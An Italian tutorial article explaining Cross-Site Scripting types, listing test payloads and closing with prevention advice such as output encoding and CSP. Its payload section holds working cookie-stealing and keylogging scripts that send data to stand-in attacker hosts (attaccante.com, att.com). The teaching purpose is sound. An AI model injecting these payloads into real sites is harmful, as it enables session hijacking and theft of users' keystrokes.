⚠️ Disclaimer legale: Questo articolo è esclusivamente a scopo educativo. Tutte le tecniche descritte vanno praticate SOLO su sistemi propri o su piattaforme autorizzate (TryHackMe, HackTheBox, VulnHub). Attaccare sistemi altrui senza autorizzazione è reato penale ai sensi degli artt. 615-ter e seguenti del Codice Penale italiano.
Cos'è XSS
Cross-Site Scripting è una vulnerabilità web che permette di iniettare script JavaScript malevoli che vengono eseguiti nel browser delle vittime. Può portare a furto di cookie di sessione, defacement, keylogging, redirect a phishing.
Tipi di XSS
Reflected XSS
Lo script è nell'URL. La vittima clicca un link malevolo e lo script viene riflesso nella risposta ed eseguito.
https://sito.com/search?q=<script>document.location='http://attaccante.com/steal?c='+document.cookie</script>
Stored XSS (Persistent)
Lo script è salvato nel database (commento, profilo, post). Ogni utente che visualizza il contenuto esegue lo script. Più pericoloso del reflected.
DOM-based XSS
La vulnerabilità è nel codice JavaScript client-side che usa direttamente l'input dell'utente per modificare il DOM.
Payload comuni per test
# Basic test
<script>alert(1)</script>
# Bypass filtri semplici
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
';</script><script>alert(1)</script>
# Furto cookie
<script>fetch('https://attaccante.com/?c='+btoa(document.cookie))</script>
# Keylogger base
<script>document.onkeypress=function(e){fetch('https://att.com/log?k='+e.key)}</script>
Test con PortSwigger Academy
PortSwigger Web Security Academy ha laboratori gratuiti su ogni tipo di XSS con hint progressivi. È il modo migliore per praticare legalmente.
Prevenzione
- Output encoding: converti < > " ' in entità HTML prima di renderizzare
- CSP (Content Security Policy): header HTTP che limita le origini degli script
- HttpOnly cookie: i cookie non sono accessibili da JavaScript
- SameSite cookie: previene CSRF e limita utilizzo cross-site
- Evita innerHTML: usa textContent o innerText per dati utente
💬 Commenti (0)
Nessun commento ancora. Sii il primo!